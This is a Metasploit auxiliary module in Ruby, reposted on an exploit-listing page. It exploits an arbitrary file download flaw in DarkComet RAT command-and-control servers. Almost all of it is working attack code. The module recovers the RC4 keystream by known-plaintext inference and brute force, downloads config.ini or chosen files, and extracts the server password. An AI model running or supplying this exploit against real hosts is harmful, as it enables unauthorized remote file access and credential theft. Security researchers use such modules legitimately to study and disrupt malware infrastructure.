Share
## https://sploitus.com/exploit?id=PACKETSTORM:180612
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DarkComet Server Remote File Download Exploit',  
'Description' => %q{  
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.  
The exploit does not need to know the password chosen for the bot/server communication.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery  
'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack  
],  
'References' =>  
[  
[ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],  
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]  
],  
'DisclosureDate' => '2012-10-08',  
'Platform' => 'win'  
))  
  
register_options(  
[  
Opt::RPORT(1604),  
Opt::RHOST('0.0.0.0'),  
  
OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),  
OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),  
OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),  
OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),  
OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),  
OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])  
  
])  
end  
  
# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext  
def xor_strings(s1, s2)  
s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')  
end  
  
def get_keystream(ciphertext, known_plaintext)  
c = [ciphertext].pack('H*')  
if known_plaintext.length > c.length  
return xor_strings(c, known_plaintext[0, c.length])  
elsif c.length > known_plaintext.length  
return xor_strings(c[0, known_plaintext.length], known_plaintext)  
else  
return xor_strings(c, known_plaintext)  
end  
end  
  
def use_keystream(plaintext, keystream)  
if keystream.length > plaintext.length  
return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase  
else  
return xor_strings(plaintext, keystream).unpack('H*')[0].upcase  
end  
end  
  
# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)  
# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength  
def rc4_initialize(key)  
@q1 = 0  
@q2 = 0  
@key = []  
key.each_byte { |elem| @key << elem } while @key.size < 256  
@key.slice!(256..@key.size - 1) if @key.size >= 256  
@s = (0..255).to_a  
j = 0  
0.upto(255) do |i|  
j = (j + @s[i] + @key[i]) % 256  
@s[i], @s[j] = @s[j], @s[i]  
end  
end  
  
def rc4_keystream  
@q1 = (@q1 + 1) % 256  
@q2 = (@q2 + @s[@q1]) % 256  
@s[@q1], @s[@q2] = @s[@q2], @s[@q1]  
@s[(@s[@q1] + @s[@q2]) % 256]  
end  
  
def rc4_process(text)  
text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join  
end  
  
def dc_encryptpacket(plaintext, key)  
rc4_initialize(key)  
rc4_process(plaintext).unpack('H*')[0].upcase  
end  
  
# Try to execute the exploit  
def try_exploit(exploit_string, keystream, bruting)  
connect  
idtype_msg = sock.get_once(12)  
  
if idtype_msg.length != 12  
disconnect  
return nil  
end  
  
if datastore['KEY'] != ''  
exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])  
else  
# If we don't have a key we need enough keystream  
if keystream.nil?  
disconnect  
return nil  
end  
  
if keystream.length < exploit_string.length  
disconnect  
return nil  
end  
  
exploit_msg = use_keystream(exploit_string, keystream)  
end  
  
sock.put(exploit_msg)  
  
if bruting  
begin  
ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])  
rescue Timeout::Error  
disconnect  
return nil  
end  
else  
ack_msg = sock.get_once(3)  
end  
  
if ack_msg != "\x41\x00\x43"  
disconnect  
return nil  
# Different protocol structure for versions >= 5.1  
elsif datastore['NEWVERSION'] == true  
if bruting  
begin  
filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i  
rescue Timeout::Error  
disconnect  
return nil  
end  
else  
filelen = sock.get_once(10).to_i  
end  
if filelen == 0  
disconnect  
return nil  
end  
  
if datastore['KEY'] != ''  
a_msg = dc_encryptpacket('A', datastore['KEY'])  
else  
a_msg = use_keystream('A', keystream)  
end  
  
sock.put(a_msg)  
  
if bruting  
begin  
filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])  
rescue Timeout::Error  
disconnect  
return nil  
end  
else  
filedata = sock.get_once(filelen)  
end  
  
if filedata.length != filelen  
disconnect  
return nil  
end  
  
sock.put(a_msg)  
disconnect  
return filedata  
else  
filedata = ''  
  
if bruting  
begin  
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])  
rescue Timeout::Error  
disconnect  
return nil  
end  
else  
msg = sock.get_once(1024)  
end  
  
while (!msg.nil?) && (msg != '')  
filedata += msg  
if bruting  
begin  
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])  
rescue Timeout::Error  
break  
end  
else  
msg = sock.get_once(1024)  
end  
end  
  
disconnect  
  
if filedata == ''  
return nil  
else  
return filedata  
end  
end  
end  
  
# Fetch a GetSIN response from C2 server  
def fetch_getsin  
connect  
idtype_msg = sock.get_once(12)  
  
if idtype_msg.length != 12  
disconnect  
return nil  
end  
  
keystream = get_keystream(idtype_msg, 'IDTYPE')  
server_msg = use_keystream('SERVER', keystream)  
sock.put(server_msg)  
  
getsin_msg = sock.get_once(1024)  
disconnect  
getsin_msg  
end  
  
# Carry out the crypto attack when we don't have a key  
def crypto_attack(exploit_string)  
getsin_msg = fetch_getsin  
if getsin_msg.nil?  
return nil  
end  
  
getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'  
keystream = get_keystream(getsin_msg, getsin_kp)  
  
if keystream.length < exploit_string.length  
missing_bytecount = exploit_string.length - keystream.length  
  
print_status("Missing #{missing_bytecount} bytes of keystream ...")  
  
inferrence_segment = ''  
brute_max = 4  
  
if missing_bytecount > brute_max  
print_status("Using inference attack ...")  
  
# Offsets to monitor for changes  
target_offset_range = []  
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)  
target_offset_range << i  
end  
  
# Store inference results  
inference_results = {}  
  
# As long as we haven't fully recovered all offsets through inference  
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]  
getsin_observation = [''] * 4  
buffer_head = 0  
  
for i in 0..2  
getsin_observation[i] = [fetch_getsin].pack('H*')  
Rex.sleep(0.5)  
end  
  
buffer_tail = 3  
  
# Actual inference attack happens here  
while !target_offset_range.empty?  
getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')  
Rex.sleep(0.5)  
  
# We check if we spot a change within a position between two consecutive items within our circular buffer  
# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0  
target_offset_range.each do |x|  
index = buffer_head  
  
while index != buffer_tail do  
next_index = (index + 1) % 4  
  
# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same  
# observations as well while being constant in at least one previous or subsequent observation  
if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))  
target_offset_range.delete(x)  
inference_results[x] = xor_strings(getsin_observation[index][x], '9')  
break  
end  
index = next_index  
end  
end  
  
# Update circular buffer head & tail  
buffer_tail = (buffer_tail + 1) % 4  
# Move head to right once tail wraps around, discarding oldest item in circular buffer  
if buffer_tail == buffer_head  
buffer_head = (buffer_head + 1) % 4  
end  
end  
  
# Inference attack done, reconstruct final keystream segment  
inf_seg = ["\x00"] * (keystream.length + missing_bytecount)  
inferrence_results.each do |x, val|  
inf_seg[x] = val  
end  
  
inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join  
missing_bytecount = brute_max  
end  
  
if missing_bytecount > brute_max  
print_status("Improper keystream recovery ...")  
return nil  
end  
  
print_status("Initiating brute force ...")  
  
# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)  
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  
char_range = missing_bytecount.times.map { charset }  
char_range.first.product(*char_range[1..-1]) do |x|  
p = x.join  
candidate_plaintext = getsin_kp + p  
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment  
filedata = try_exploit(exploit_string, candidate_keystream, true)  
  
if !filedata.nil?  
return filedata  
end  
end  
return nil  
end  
  
try_exploit(exploit_string, keystream, false)  
end  
  
def parse_password(filedata)  
filedata.each_line { |line|  
elem = line.strip.split('=')  
if elem.length >= 1  
if elem[0] == 'PASSWD'  
if elem.length == 2  
return elem[1]  
else  
return ''  
end  
end  
end  
}  
return nil  
end  
  
def run  
# Determine exploit string  
if datastore['NEWVERSION'] == true  
if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')  
exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'  
else  
exploit_string = 'QUICKUP1|config.ini|'  
end  
elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')  
exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'  
else  
exploit_string = 'UPLOADconfig.ini|1|1|'  
end  
  
# Run exploit  
if datastore['KEY'] != ''  
filedata = try_exploit(exploit_string, nil, false)  
else  
filedata = crypto_attack(exploit_string)  
end  
  
# Harvest interesting credentials, store loot  
if !filedata.nil?  
# Automatically try to extract password from config.ini if we haven't set a key yet  
if datastore['KEY'] == ''  
password = parse_password(filedata)  
if password.nil?  
print_status("Could not find password in config.ini ...")  
elsif password == ''  
print_status("C2 server uses empty password!")  
else  
print_status("C2 server uses password [#{password}]")  
end  
end  
  
# Store to loot  
if datastore['STORE_LOOT'] == true  
print_status("Storing data to loot...")  
if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')  
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")  
else  
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")  
end  
else  
print_status(filedata.to_s)  
end  
else  
print_error("Attack failed or empty config file encountered ...")  
end  
end  
end